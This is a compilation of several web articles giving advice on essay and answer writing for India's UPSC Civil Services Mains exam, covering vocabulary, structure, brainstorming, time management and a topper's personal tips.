This helps in expressing exactly what one means. A good vocabulary displays intelligence and allows being persuasive in your writing. Refer a dictionary, learn prefixes/ suffixes. Subscribe to a daily email that sends new words. Add variety to your knowledge of words, collect new words and find their meanings, also write their definitions and frame them in sentences. An economy with words is a characteristic of all good essays.

Having a good command of grammar is the most important thing for essay writing in UPSC. Building up a sentence which is grammatically correct and right use of words will create an overall good impact of your text. While composing the content, it is important to make yourself easy for readers to understand.

The sentence structure shows how intelligent you sound. The reader should not read a sentence more than once to understand it. Correct use of punctuation and tone of voice is a must. Do not use passive voice or I/ my words, try to be more general and readers will remain hooked on.

Also Read: A Complete Guide to Score Better in Geography for UPSC: UPSC Exam Strategy

UPSC Essay Writing Topics

The best students enjoy creating essays. For many students, each topic brings with it the challenge of making a little better than last one. When one writes regularly, chances are less to get stuck and repeating the same thing each time. So, pick a UPSC essay writing topic each day and prepare an outline of your ideas and then write your thesis and frame up your content.

Let’s Wrap Up:

Essays are self-generating, self-reinforcing and self-fulfilling. These should be balanced so that one can learn from the best of the writers and be able to pick up techniques to help in shaping up a balanced piece.

Essays constitute a formal, academic context, but that does not mean they should be boring. Don’t use big words in an essay writing in UPSC just for the sake of it; it may have the opposite effect. Ultimately, the goal should be that the writing is clear and easy to understand so that it is a pleasure to read.

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About the Author

Akshay palande.

Akshay Palande is a passionate teacher helping hundreds of students in their UPSC preparation. With a degree in Mechanical Engineering and double masters in Public Administration and Economics, he has experience of teaching UPSC aspirants for 5 years. His subject of expertise are Geography, Polity, Economics and Environment and Ecology.

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Essay Writing for Civil Services Examination

• 13 Aug 2018
• 20 min read

Understanding Essay Writing

An essay is a short piece of writing that sheds light on any given topic. M.H. Abrams, the American literary critic, notes that the essay is “Any short composition in prose that undertakes to discuss a matter, express a point of view, or persuade us to accept a thesis on any subject.”

Broadly speaking, there are two types of essays - formal and informal. In the UPSC Civil Services Examination (CSE), we are concerned with the formal essay. The formal essay is relatively impersonal, the author writes it as an authority and such essays tend to be less emotional. Formal essays can also have factual elements in it, like quoted statistics from a government report etc. It is never in the form of a conversation, never uses first-person references and seldom gets intimate with the audience. In short, a formal essay has a certain degree of seriousness attached to it.

Essay writing for CSE

• For the CSE essay paper, two essays have to be written under 3 hours in the 1000-1200 word limit. Each essay carries 125 marks for a total of 250.
• The essay paper is divided into two sections - A and B, each carrying a choice of 4 essays each, and the aspirant has to choose only one essay from each section.
• The instructions in the syllabus are clear in what is being expected from the aspirant. Aspirants are ‘expected to keep their thoughts closely to the subject and arrange their ideas accordingly.It furthur tates that, credit will be given for effective and coherent expression’.
• The underlined keywords are important because after content, these are the exact parameters on which the essay will be evaluated. 

Beginning Essay Writing

Practice makes perfect. For scoring good marks in the essay, one needs practice. But, before we get to the practising part, we should do some basic homework first. We would start by looking at what a well structured essay is, how it can be planned, what elements can be added to make the essay more scoring, and most importantly, how to do it all within the prescribed time limit.

Basic structure of an essay

The most common method of structuring a essay is breaking it up into paragraphs. In this technique, besides the introduction and the conclusion, there will be body-paragraphs. In these body-paragraphs, the aspirant will have to fit in all his content.

• Body-paragraphs can broadly be supportive, critical or narrative. Ideally, one can start any argument in an aptly phrased narrative paragraph which describe the topic in some detail and then move on to a supportive paragraph containing a few positive facts/ideas on the topic. Though critical paragraphs look best when they are placed last, there are no such rules, and for some topics it can be used as the opening paragraph for the topic.
• The most important part of the essay is perhaps the introduction. First impressions are very important, and a well thought out introduction will definitely make a positive impression on the examiner. We will discuss how to write a proper introduction later in this strategy.
• Similarly, the conclusion is where one can score additional marks if done properly. This will also be discussed later.

Keywords of the essay syllabus

• 'closely': Any deviation from the topic will be tolerated only up to a certain point. One must, therefore, as a rule stick as closely as possible to the topic at hand. Any example, quote, anecdote or reference must be on topic or related closely to it.
• 'arrange': The essay must be in an arranged form. The aspirant is supposed to plan ahead and form a structure of the essay before actually writing it down.
• 'orderly': The ideas or arguments put forward in the essay must follow an order. A haphazard essay that does not flow sequentially, must be avoided at all costs.
• 'concise': The essay and the matter discussed therein must be expressed as precisely possible. Clarity of thought and brevity of expression is what is looked for in the CSE essay.
• 'effective': The essay must be written in a language that makes a strong impression. Thus, one needs to be conveying a point with every sentence, every paragraph. Flowery language is best avoided.
• 'coherent': Coherence is required of all forms of writing, including answer writing, but in the CSE essay one must be extra careful to check that all individual sentences in the essay are making sense. Also, paragraphs as a whole must convey a clear and well thought out exposition on the theme of the essay.

Planning to write an essay

A good essay needs planning. There are three steps to it - defining or understanding what the essay is going to be about in very clear terms, brainstroming on the topic and thirdly, devising the outline of the essay.

Central idea of the thesis statement

• All CSE essays have a thesis statement. For example, in CSE 2016, the following essay was asked— ‘Innovation is the key determinant of economic growth and social welfare’ . Here the central idea is ‘innovation’. The aspirant is supposed to explore those dimensions of innovation that affect ‘economic growth and social welfare’. In doing so, the aspirant should not veer from the central topic of innovation but if possible add a few related ideas which may supplement the overall central idea that not only socio-economic but also other areas like technology and culture are affected by forces of innovation.
• In another essay asked in CSE— ‘Water disputes between States in federal India’ – the central idea is how the water disputes between various Indian states have played out and what are its various dimensions. Constitutional, legal, social and political dimensions, for ex, are a must for addressing this topic. In order to find out the various dimensions of any given topic we should perform a brainstorming exercise.

Brainstorming for essay writing

• Brainstorming for essay is a crucial step. Brainstorming helps you get all the ideas at one place for quick reference. There are no hard and fast rules, but typically one can begin with the given topic and immediately start listing the things that come to mind. One can ideally devote an entire page for this exercise.

Brainstorming guide

• The first requirement for brainstorming is focus. One should be able to focus single-mindedly on the job at hand, which in this case is jotting down as many points as possible regarding the essay topic.
• Boundaries must also be properly defined. If the topic does not absolutely require a particularly complex point or if it does not require following a difficult train of thought, it should be avoided. Keeping the essay as simple as possible without sacrificing the most valid points is what we should be looking for.
• Then we must set a time limit for the brainstorming session. Ideally, for CSE that time limit works out to about 25 minutes per essay. Within that time limit one is supposed to come up with all the necessary points and plans for writing the essay.
• Another important point to be made here is that aspirants should have a fair understanding regarding  the expectations of the CSE examiner from the essay. Every topic will have some basic ideas that the aspirants must necessarily try to explore or address. During brainstorming such a requirement can be searched for.
• In the brainstorming exercise one may also take help of diagrams, flow-charts, mind-maps etc., if needed. Sometimes doing this may clear things up to a great extent or even save precious time.
• Three things that one must exclusively do while brainstorming are — identify causes and factors, define the various issues and make a list of associated ideas. Doing this is key to success in the entire brainstorming exercise.

Adding elements to the essay

• Any good essay will definitely have a multitude of elements and dimensions to it. For CSE essay writing, there are certain basic rules that one can follow while searching for these elements and dimensions.
• The first of such rules would be to follow and uphold Constitutional values at all times . This is very crucial for essay writing in CSE, that the values enshrined in our Constitution reflect in whatever idea, problem or solution we discuss in the essay. At no point should one try and support an idea that is unconstitutional.
• One must also be democratic while addressing issues . The concepts of ‘freedom and equality’ should be the guiding principles while suggesting solutions and while criticising events or issues.
• Generally, one must also avoid taking absolutist/non-compromising positions . In fact, the best way to handle complex problems is to find the middle ground.
• One must also try not to make sweeping generalisations on any given issue. Instead, there should be hints of patience, justice and understanding in addressing or discussing any given topic.
• Lastly, there are two more things that an aspirant need to keep in mind while attempting the CSE essay. (A) Do not question the topic itself, which is to say, in other words, do not contradict yourself. Pick a position (ideally, the middle path) and stay true to it throughout the essay. (B) Never use positively, things that are universally considered or used in a negative sense, and vice-versa. For ex, one must not say that ‘terrorism’ under certain conditions is equivalent to a freedom struggle, even though quotes like ‘one man’s terrorist is another man’s freedom fighter’ are quite common.

Elements in an essay

• The three basic elements — social, political and economic — form the bedrock of a good CSE essay.
• To these, one may add other dimensions like Constitutional, legal, technological, technical etc. 
• Another important element is the persona Good personal experiences or anecdotes can no doubt be used to increase the effectiveness of the essay but these should stay within the accepted framework of ethical conduct.

PESTLE Analysis

• Political – Economic – Sociological – Technological – Legal – Environmental Analysis.
• Use PESTLE Analysis to figure out the various aspects, dimensions, factors etc of any given topic.

Outlining the essay

• Before writing the essay, it is best to outline it. To outline an essay means to figure out what to say in the introduction/conclusion, which idea comes where, or even what quote to use for the essay etc.
• Outlining the essay in rough helps us grasp the entirety of the essay before actually writing it. It helps us get the big picture, and also see what we could be missing.
• It is said that once we can figure out the conclusion to our essay, it becomes much easier to not only begin but finish it with confidence.

Writing An Essay 

Sticking to the time limit

In the CSE, one has to write two essays in 3 hours which translates into 1 hour 30 minutes for each essay. Out of this, around 45 minutes to 1 hour will be required to write one essay. One can add another 10 minutes for the revision of one essay. This leaves us with roughly 30 minutes of time to prepare the essay in rough, and it includes time for carrying out the brainstorming and outlining exercises.

How to introduce the essay

• The goal of the introduction should be to arouse the reader’s interest in the topic and to prepare the reader for what is to follow.
• A good introduction to the essay can be a brief explanation of the essay topic itself. It can be made further interesting by adding to it some personal experience, or some relevant anecdotes or quotes
• The introduction should not be confusing or lacking in clarity, rather it should be able to immediately clear up any doubts regarding the topic if there is any.

Writing in paragraphs

• In a stand-alone paragraph, the concluding sentence announces that the paragraph is finished, complete. In an essay, the concluding sentence of a paragraph is more likely to play the role of a transitional device, joining one paragraph to the next.
• Flow is very important in an essay. It is also connected to writing order. Writing orders are of two types
• Known-to-New is the order of writing where the author by choice goes from known (given) concepts to unknown ones. New material is gradually added to build on the unknown.
• Simple-to-Complex is the order of writing where the author first establishes a base of concepts that are easily understood and then develops over it increasingly complex ideas.
• One can use the FREQOES method to add matter to the various paragraphs.

How to conclude the essay

• The essay can be concluded in the following ways - restating the main points in brief and with different wordings (summarizing), suggesting a way forward or a course of action, or adding an interesting personal comment or any relevant anecdote.
• Another way to conclude the essay is by returning to the discussion begun in the introduction. This is called the ‘cyclic return’ and a lot of essays follow this simple method of concluding an essay.
• The conclusion should bear a positive outlook, it should see the silver lining in the clouds. It should also be as clear and concise as possible.

Revising the essay

• To revise, read the essay in its entirety, underlining (preferably with scale and pencil) important words or phrases. Correct spelling or grammatical mistakes if any. Make sure the pages look clean and tidy.
• One may add or omit a few words but it should not be overdone. It is also not advisable that entirely new ideas/sentences are inserted in the essay at the time of revision, unless such information is critical to the essay.

Some tips on essay writing

• One can go through the CSE previous year’s essays and understand the concepts, dimensions and solutions required to solve those. Having a simple understanding of complex social problems is the secret to writing a good essay for the CSE.
• One can also keep handy a small collection of quotes or quotable phrases and citable anecdotes to be used while writing the essay. This keeps one prepared for writing any type of essay.

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7 Important Steps to Improve Answer Writing for UPSC Mains

Answer writing is the most critical skill that any UPSC aspirant must acquire in order to maximise their scores in the examination. Most students, through multiple revisions and reading standard books, develop conceptual clarity on critical topics and themes they must cover for the exmination. But unfortunately they lack the ability to concisely express their content and arguments in the most effective manner for securing the highest marks possible. We have identified 7 important steps a student can take to improve their skills of answer writing for UPSC Mains .

Practice with PYQ’s

The first step is to acquaint yourself with questions that reflect the UPSC’s style and topics. The best way is to start practising answer writing using previous year UPSC mains paper as it helps in adapting closely to the exam’s requirements but also aids in building confidence. Utilising past years’ question papers and then relying on mock tests to gauge your strengths and challenges would be an ideal approach to improve your answer writing skills for UPSC Mains.

Analyse Toppers’ Copies

The primary goal of answer writing is to align them with the examiner’s expectations, thereby securing high scores in the UPSC Mains examination. Irrespective of the quality of the content, an answer will not earn high marks if it fails to engage the examiner due to issues like failure to meet the core demand of the question, lack of clarity, irrelevance to the context, or insufficient emphasis on the value addition for the key points.

While the UPSC does not explicitly state these criteria, analysis of top-performing answers from the successful candidates of previous years has highlighted these aspects as crucial for meeting the UPSC mains examiner’s expectations.

Ensure Balanced Arguments

It is important to provide an analytical approach with balanced arguments. Students should abstain from exhibiting strong biases for or against any particular perspective on the topic, while attempting to bring in an analytical approach in answer writing. For example , on a question of federalism in India, it is problematic to adopt an excessively pessimistic view of federalism in India by focusing solely on its challenges without recognizing its distinctiveness and its appropriateness for our country’s governance.

Exhibiting such extreme biases towards any ideology or thought process is discouraged, as examinations value a more balanced approach. Additionally, students should avoid making sweeping generalisations, such as claiming that “Haryana is a patriarchal state that discriminates against women’s rights as equal citizens.” Such broad statements can lead to stereotypical conclusions that merely reflect the student’s own prejudices.

Structure Answers Logically

Learn to structure your answers logically. Mostly, the structure of the question itself will have an inherent logic such that it moves from the broad topic (mostly in the introduction) to the specific issue within the topic and then towards challenges and possible remedial measures. Hence, each answer should have a clear introduction that outlines your understanding of the question.

The body should discuss the key demand of the question in a coherent and logical manner, supported by examples or data when possible. It is desirable to use bullet points for communicating factual points under each subheading, while maintaining a paragraph approach for the introduction and conclusion. Conclude with a summary that reinforces your main points and provides a concise conclusion or a future perspective related to the topic.

Ensure Visibility of Content

An effective strategy to enhance the visibility of important elements in your answers is to use underlining or boxing around keywords or headings. The purpose behind these techniques is similar to highlighting: they subtly draw the examiner’s focus to the critical factual elements that are significant from the subject perspective. Some previous toppers have creatively substituted boxing with other shapes like circles or triangles to encase words, achieving a comparable effect in making answers more visible.

There are various styles of underlining, such as single or double lines, and full-line underlining from one margin to another. It’s beneficial to employ different underlying methods to emphasise various parts of your answer—for instance, a single underline for a crucial keyword, double underlining for headings, and full-length underlining for specific parts of the question. However, using multiple colours is discouraged as it may hinder time management and completion of the exam. Underlining can be done during or after writing an answer. As with boxing, it’s important not to overuse these methods to the point of diminishing their effectiveness.

Validate approach through Mentor Guidance

It is also important to take peer /mentor review and guidance to enhance UPSC Mains Answer Writing Techniques. Include data such as statistics, reports, and case studies to substantiate your answers. Making consolidated notes on different micro-topics of the UPSC syllabus is necessary to ensure good content for the answers.

Diagrams, flowcharts, and maps can also be powerful tools to visually represent information and make your answers stand out. But it is important to integrate these elements effectively without overloading your answers. Hence, it is most advisable to have a mentor or peer-review your answers and provide feedback.

Ensure Proper Time Management

Practise writing answers within a stipulated time to manage the limited time available in the exam effectively. The primary objective for candidates should be to complete all questions within the allotted time. It is only through attempting to write a full paper that students understand the challenge of finishing within the designated timeline. They must evaluate how their adopted strategies affect their time management in answer writing. Does incorporating substantial core content and value addition through maps, tabular columns or timelines to enhance the marks conflict with the ability to finish the paper? Does using diagrams in answers lead to a significant delay, possibly consuming an extra two minutes per answer?

Since the actual exam imposes strict time limits, practising answer writing for UPSC Mains within a specified timeframe is crucial. This helps in enhancing your ability to think and articulate quickly and clearly under pressure. Aim to strike a balance between speed and quality, ensuring that your answers are comprehensive yet concise within the available time.

It is most beneficial to join a mock test series such as Mains Test Series (MTS) of NEXT IAS which enable you to practise your UPSC Mains answer writing skills in simulated conditions with proper evaluation and mentorship support.

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How to improve your writing skills for UPSC Mains?

Improving writing skills for the UPSC Mains examination is essential for effectively conveying one’s thoughts and analysis. First and foremost, it’s crucial to read extensively, encompassing a variety of subjects, to broaden one’s understanding and enhance vocabulary. Additionally, practicing answer writing is indispensable. Regularly attempting previous years’ questions, timed mock tests, and self-assessment of answers can help identify strengths and weaknesses. Developing a structured approach to essay and answer writing, with a clear introduction, well-organized body, and a concise conclusion, is vital. Furthermore, seeking feedback from mentors, peers, or professionals can provide valuable insights for improvement. Keeping up with current affairs and integrating relevant examples into answers adds depth and relevance to the content. Ultimately, maintaining consistency, discipline, and dedication to honing these skills is the key to success in the UPSC Mains examination.

Table of Contents

Increase your reading count

Increasing your reading count is a valuable habit that can enrich your life in numerous ways. Whether you’re an avid reader or someone looking to read more, it’s a practice that not only broadens your knowledge but also enhances your cognitive abilities, vocabulary, and critical thinking skills. Reading provides access to diverse perspectives, cultures, and experiences, making you more empathetic and open-minded. Furthermore, it’s an excellent way to reduce stress and improve your mental well-being, as it allows you to escape into different worlds and take a break from the demands of daily life. To boost your reading count, consider setting aside dedicated time for reading each day, exploring a variety of genres and topics, and joining book clubs or discussion groups to stay motivated and engaged with your reading goals.

Read More to Write Better

The act of reading serves as an invaluable foundation for enhancing one’s writing skills. When we immerse ourselves in a diverse range of written material, whether it be literature, non-fiction, or even online articles, we absorb a wealth of knowledge about language, style, and communication. By reading more, we expose ourselves to various writing techniques, new vocabulary, and different narrative structures. This not only broadens our perspectives but also sharpens our ability to convey thoughts and ideas effectively. Reading is akin to a continuous learning process, providing inspiration, and enabling us to recognize both exceptional writing and common pitfalls. So, to write better, one must read more and explore the vast world of literature and written expression.

Avoid generalizations

Avoiding generalizations is a fundamental principle of critical thinking and effective communication. Generalizing involves making sweeping statements about a group, concept, or situation based on limited or anecdotal evidence. This practice can lead to misconceptions, biases, and unfair judgments. To enhance understanding and promote accuracy, it’s essential to recognize the diversity and complexity within any group or issue. By avoiding generalizations, we can foster more nuanced, respectful, and well-informed discussions, allowing us to appreciate the unique qualities and experiences that make each individual or circumstance distinct. In doing so, we promote a more open and inclusive society where people are seen for who they truly are, rather than being reduced to oversimplified stereotypes.

Prepare A Writing Structure

Preparing a writing structure is essential for crafting a coherent and effective piece of communication, whether it’s an essay, report, or any form of written content. It serves as the skeleton upon which your ideas are fleshed out, ensuring logical flow and clarity. Start by outlining your main points or arguments, providing a roadmap for your readers to follow. This structure should include an introduction that engages your audience, a body section where your ideas are presented and supported, and a conclusion that summarizes your key points and leaves a lasting impression. Within the body, consider using subheadings, bullet points, or numbered lists to organize information, making it more reader-friendly. A well-prepared structure not only helps you stay focused and maintain coherence in your writing but also makes it easier for your audience to understand and appreciate your message.

Write to the Point

“Write to the point” is a fundamental principle of effective communication and writing. It emphasizes the importance of clarity and conciseness in conveying your message. When you write to the point, you cut through unnecessary jargon, filler words, and convoluted sentences, ensuring that your message is straightforward and easily understood. This approach not only saves time for both the writer and the reader but also enhances the impact of your communication, making it more persuasive and memorable. Whether in business, academia, or everyday communication, writing to the point is a valuable skill that enables your ideas to shine through without getting lost in unnecessary complexity.

Improve Basics Like Tenses, Grammar, Etc.

Improving the fundamentals of language, such as tenses and grammar, is a foundational step in becoming a proficient communicator. These aspects of language serve as the building blocks upon which effective communication is built. Tenses provide clarity in expressing when actions occur, helping to convey a sense of time and sequence in a narrative or conversation. Grammar, on the other hand, ensures that sentences are structured coherently, reducing ambiguity and enabling a more precise conveyance of ideas. Mastering these basics not only enhances one’s writing and speaking abilities but also boosts confidence in conveying thoughts and ideas with accuracy and sophistication. Therefore, investing time in improving tenses, grammar, and related language skills is an essential endeavor for anyone looking to become a more effective and confident communicator.

Be You (Original)

In our constant pursuit of self-improvement and personal growth, it is essential to embrace the power of originality. While it’s valuable to draw inspiration from others and learn from their experiences, our journey of improvement should be uniquely our own. The path to self-betterment is not a one-size-fits-all approach; it’s a canvas where we get to craft our individual masterpieces. By infusing our aspirations and goals with originality, we infuse them with authenticity, passion, and a sense of purpose. Originality compels us to question the status quo, challenge conventional wisdom, and seek new, uncharted horizons for our personal growth. So, as we strive to improve, let’s remember that the most profound transformations often emerge from our originality and our willingness to blaze our distinct trails towards becoming the best versions of ourselves.

Practice makes perfect

The age-old adage “practice makes perfect” encapsulates the essence of human achievement and mastery. It acknowledges that continuous effort and repetition are the fundamental building blocks of expertise and success. Whether in the realms of sports, music, art, or any skill or discipline, it is through relentless practice that individuals refine their abilities, hone their techniques, and overcome challenges. This principle underscores that perfection is not an innate quality but rather a product of dedication and persistence. It encourages us to embrace the journey of growth, recognizing that each endeavor, no matter how small, contributes to the journey of improvement and excellence. “Practice makes perfect” serves as a timeless reminder that excellence is attainable through patient and unwavering commitment.

Some Tips on Improve writing skills

Here are some tips to help you enhance your writing skills:

• Understand the Syllabus : Familiarize yourself with the UPSC Mains syllabus. This will help you identify the relevant topics and focus your preparation accordingly.
• Read Extensively : Reading a wide range of materials, including newspapers, magazines, books, and academic journals, can improve your vocabulary, knowledge, and understanding of various topics.
• Analyze Previous Years’ Papers : Go through past years’ UPSC Mains question papers to understand the pattern and type of questions asked. This can give you insights into the expected topics and their depth.
• Practice Writing Regularly : The more you write, the better you become. Dedicate time to writing practice answers on various subjects. Try to stick to the word limit and time constraints imposed in the exam.
• Answer Structure : Learn to structure your answers effectively. Each answer should have an introduction, body, and conclusion. Use headings and subheadings to make your answer more organized and readable.
• Clarity and Conciseness : Be clear and concise in your writing. Avoid using jargon and overly complex sentences. Write in a straightforward manner that’s easy for the examiner to understand.
• Use Examples and Data : Support your arguments with relevant examples, case studies, and data. This adds depth and credibility to your answers.
• Practice Essay Writing : Essay writing is an important part of the Mains exam. Practice writing essays on a variety of topics. Focus on developing a coherent and structured argument.
• Improve Time Management : Time management is crucial during the Mains exam. Practice writing answers within the prescribed time limits to ensure you can complete all sections.
• Peer Review : Ask peers or mentors to review your writing. Constructive feedback can help you identify your weaknesses and areas for improvement.
• Revision : Regularly revise what you’ve learned. This will help you retain information and recall it more effectively during the exam.
• Stay Updated : Keep up with current affairs and developments, as they are often part of the UPSC Mains paper. Regularly read newspapers and magazines to stay informed.
• Mind Your Handwriting : Ensure that your handwriting is neat and legible. Poor handwriting can make it difficult for the examiner to understand your answers.
• Stay Calm and Confident : During the exam, maintain your composure and stay confident. Read the questions carefully and plan your answers before writing.
• Mock Tests : Take mock tests to simulate exam conditions. This will help you get used to the time constraints and pressure of the actual exam.

Frequently Asked Questions (FAQs)

Faq 1: how can i improve my writing skills for upsc mains.

Answer: To enhance your writing skills for UPSC Mains, practice is key. Start by regularly writing essays, answers to previous years’ questions, and taking mock tests to simulate exam conditions. Reading high-quality newspapers, books, and academic journals can also expand your vocabulary and knowledge base, which is essential for effective writing.

FAQ 2: How can I structure my answers better in UPSC Mains exams?

Answer: Structuring your answers is crucial. Begin with an introduction that succinctly presents your viewpoint, followed by a clear and logical body that provides supporting arguments or evidence. End with a well-concluded summary. Use headings, subheadings, bullet points, and diagrams where appropriate to make your answer visually organized and easy to follow.

FAQ 3: How do I develop analytical and critical thinking in my writing for UPSC Mains?

Answer: To boost analytical and critical thinking, practice analyzing complex issues, reading diverse perspectives, and engaging in discussions. When writing, critically evaluate arguments, and support your points with well-reasoned explanations and evidence. Avoid overly one-sided or biased opinions.

FAQ 4: What is the role of revision in improving writing skills for UPSC Mains?

Answer: Revision is indispensable. After completing a draft, review and edit your work for clarity, grammar, and coherence. Take time to refine your writing and check for factual accuracy. Multiple revisions can help you refine your writing to meet the UPSC standards.

FAQ 5: How can I manage time effectively during the UPSC Mains exam to ensure I complete all the questions?

Answer: Time management is critical. Allocate a specific amount of time to each question based on its marks. Start with the questions you are most confident in to secure those marks quickly. Don’t dwell too long on a single question. If you run out of time for one question, move on to the next, and return later if time allows. Practicing timed mock tests will improve your time management skills.

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How To Improve Writing Skills for the UPSC Mains Exam

There is no single "best way" to prepare for the UPSC exam. However, a good strategy is to start with the basics in order to give a strong foundation for your writing skills. Basic writing techniques like paragraph formation, sentence structure and grammar will help you build a solid base. This is how you can improve writing skills For UPSC mains exam.

With the UPSC mains exam consisting of nine descriptive papers, you have to score the minimum required marks for an interview call from the board. Thousands of people take this exam and study material that is mostly all similar. So, how do you distinguish your best answers from the rest? Well, one way to do that is by writing a style in which our answers are good, neat and systematic. The biggest thing to keep in mind is that the output text should not have any errors. Another option would be to write using aesthetics and have a clean grasp on facts. This article will give you insights on how to improve writing skills for UPSC mains exam and more tips on answer writing skills for the IAS exam.

1. Read a lot to improve writing :

Reading a lot is the best way to improve your writing, even if you're taking IAS preparations . The next time you read a newspaper or magazine, make sure to focus your attention on the written content style too. Reading more can help you subconsciously build good writing practices & benefit your own writing. So, the first step in improving your answer writing is to read more often.

2. Consistent Outline:

The rough outline is a basic structure to help guide your writing. You should have an introduction, body and conclusion. Try to keep them as consistent as possible.

3. Keep it simple without using a lot of jargon:

Keep your word choices simple when writing answers for the UPSC main exam. Declutter your answer by using fewer, but more impactful words. Don’t try and stuff your essay with unnecessary jargon; this will only bore readers. The essay will most likely be rejected by the examiner if it is written like someone who is trying to show off his knowledge.

4. No generalizations:

It's best to avoid generalizations when you write. Make sure the information you give is backed with facts & proof. Generalizations can lead to misconceptions that can make people feel attacked. For example, if you're writing about a certain type of system, don't say that all people like that kind or have a preference for it because not everybody does. Instead, focus on the facts and proof to back up your claims about the topic.

5. Do not overdo the embellishments:

People can easily over do the embellishments. It takes a lot of time to sit down and think about what would be appropriate for the audience. Sometimes it is hard to know when to stop and make sure that the writing has a good flow. People need to make sure they are not overwhelming their readers with too many details, but also not leaving them in the dark on any important information.

6. Remember to be original.

Do not copy the answers from the reading material onto your answer sheet. Write in a new way, but stay true to the course guidelines.

7. Practice makes perfect .

The exam for the UPSC is a difficult one, so it definitely helps to practice. There's no point in even taking the tests without practicing beforehand as this can help you win.

8. Always make sure your writing is free of grammatical , spelling and other errors.

In order to become proficient in IAS Exams , practice writing daily using the tips discussed above. Just knowing these tips is not enough to excel in the exam. With the intent of persuading the examiner that you have strong, sound knowledge and reasoning to become a first-class civil servant, write clear and concise answers. These answers should not only give required information but all other relevant points. And this is how you could improve writing skills for UPSC mains exam and pass with flying colors.

Date: 19-Sep-2022

Author: kamaraj ias academy, what's new, cse - prelims 2024 - gs - answer key, upsc cse-2024-csat - answer key-1, cse mains 2024 - gs test schedule, cse - 2024 - mains masters - psir test series.

Writing a good Essay in UPSC Mains, Explained by Anudeep Durishetty

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Novelist Stephen King put it beautifully when he said, “I write to find out what I think.”

Writing is a window to your thought process. What you write on paper will tell the reader how you think, how you argue and the way you substantiate your viewpoint. This is why for most competitive examinations and academic entrance tests, essay is mandatory.

In the Civil Services Exam too, we have a paper worth 250 marks, equivalent to a General Studies paper. Despite its importance, essay paper often does not get the attention it deserves from aspirants. First timers think they will write an excellent essay in the final exam itself, whereas experienced aspirants believe that since they had already studied a ton for GS, it will alone be enough to write a good essay. This is a fatal miscalculation.

I was one of those who made these errors in the past, and it is not a coincidence that I scored only 100 in CSE 2015. But in 2017, I devoted adequate time to this paper. I collected useful quotes, prepared notes and even made rough essay drafts for frequently asked topics. All this effort in essay paper helped me score 155.

What follows is an elaborate post on how you should tackle the Essay paper. I’ve organised the content as follows:

What UPSC says about the essay paper

How and from where to prepare?

Improving language and expression

• On subheadings and rough drafts
• What you must avoid
• How to write a powerful introduction?
• Developing the content of an Essay

Substantiating your arguments

• How to conclude an Essay
• My notes, quote collection and sample essays

“Candidates may be required to write essays on multiple topics. They will be expected to  keep closely to the subject of the essay,   to arrange their ideas in an orderly fashion, and to write concisely . Credit will be given for  effective and exact expression .”

Essay distinguishes itself from GS in the sense that in GS, marks will be awarded purely for content. But in essay, examiners will pay special attention to not just the content, but also the language, coherence and the way you organise your write-up.

So you must take adequate care to arrange your ideas properly and not commit any fundamental spelling or grammatical errors.

Most of the content you write in Essay will come from your GS preparation. Apart from this, the following sources will help:

• Reading non-fiction  helps you develop a matured thought process. Apart from imparting knowledge, they will also let you come across good figures of speech, art of argumentation, powerful rhetoric and unique content etc. For example, in an essay on Artificial Intelligence, I took arguments from Yuval Harari’s  Homo Deus  to argue that AI is an imminent threat to humanity. Or if you read  Why Nations Fail,  a book replete with examples, you will understand the importance of innovation, political and economic freedoms in propelling a nation forward. So my suggestion is, apart from UPSC related material, develop the hobby of reading non-fiction books. I do not mean to suggest that you should start reading one  non-fiction book per topic to get good scores in Essay, but reading them occasionally in your free time will benefit you in the long run.
• Referring to specific magazines:  For certain topics, you can refer to specific issues of Yojana/EPW/Economic Survey etc. Example: for an essay on tribal issues or public health, you can go through specific issues of these magazines for getting the latest statistics (IMR, MMR, malnutrition levels etc) and also about the positives and criticisms of govt schemes in that sector.
• Collecting good stories/anecdotes and quotes: Anecdotes, quotes and real life stories you see in newspapers and books which can be used in essay should be noted down. In most of my essays, I used to start with a relevant story or an anecdote that has the essay topic as its underlying theme. Apart from these, I also used a couple of quotes of eminent persons.

         List of quotes, anecdotes I collected are available in the link at the end of this article.

Language in essay must be simple and clear with as little jargon as possible. If you want to use complex definitional terms such as, say, ‘Constitutionalism’ or ‘Sanskritisation’ please define it in sentence just before you use it. Examiner will also understand clearly what you want to convey. Clear writing is clear thinking. And that is what any reader looks for.

Keep your sentences short and powerful. Long, winding sentences makes it difficult to read and understand. If you tack on one clause after another through conjunctions, what you get is a bad sentence sprawl.

Example of a bad sentence sprawl:

At the end of World War 2, on the one hand, while capitalism was successfully championed by the nations in North America and Europe, on the other hand, it was USSR that put Communism at the forefront due to which there was an ideological clash between the the two superpowers which had led to proxy wars in various parts of the globe, a nuclear arms race and a rapid deterioration of the security of the world.

(By the time readers finish reading it, they will lose their breath and the point of the sentence)

So I had a simple rule: If you run out of your breath while  reading a sentence, then probably you will have to break it into two.

Rewriting the aforementioned example after breaking it into two (which makes it much easier to read and comprehend):

After World War 2, while the North American and European nations championed capitalism, USSR put communism at the forefront. This ideological clash between the superpowers led to several proxy wars, a nuclear arms race and a rapid deterioration of world security.

There is no need to memorise complex words for writing a good essay. But an occasional use of a powerful word, or a good phrase definitely gives your write-up an edge.

Also, I believe that learning numerous words by rote will not make them stick in your brain for long. The best way to build your vocabulary is by reading non-fiction and English newspapers. While reading these, if you come across a good turn of phrase, or a word that you don’t recognise, please note it down in a book, find its meaning and understand the context in which the word was used. This helps in long term memory. Having a dictionary app on your phone also helps.

Building vocabulary is a slow process, but with consistency, anyone can become better at using an expansive set of words.

Subheadings & Rough Drafts

We can be a little innovative in our subheadings. Instead of bland subheadings such as ‘ Benefits of Nuclear Energy’  we can use “ Nuclear Energy: Promise or Peril?’  Similarly, for the essay on Social Media, instead of writing ‘ Advantages and Disadvantages of Social Media ’, I wrote  “Social Media: A Double Edged Sword”

You can find my collection of a few such subheadings in the link to my notes, given at the end of the article.

I also prepared a rough draft for a few essay topics (link given at the end). You may need to modify the structure as per the demand of the question.

What you must avoid in Essay

• Do not focus excessively only on one point, or one dimension (such as the historical or political aspect) Your essay needs to be expansive and multi-dimensional.
• During preparation, we read a lot and it’s understandable that we feel strongly about certain topics. And since essay offers freedom to write, it’s very easy to get carried away with such a topic. But make sure that you write what is asked, not what you know or feel like. No  mann ki baat . Always stick to the subject of the topic. It helps to read the question in the midst of your essay to ensure that you are not steering away from the topic.
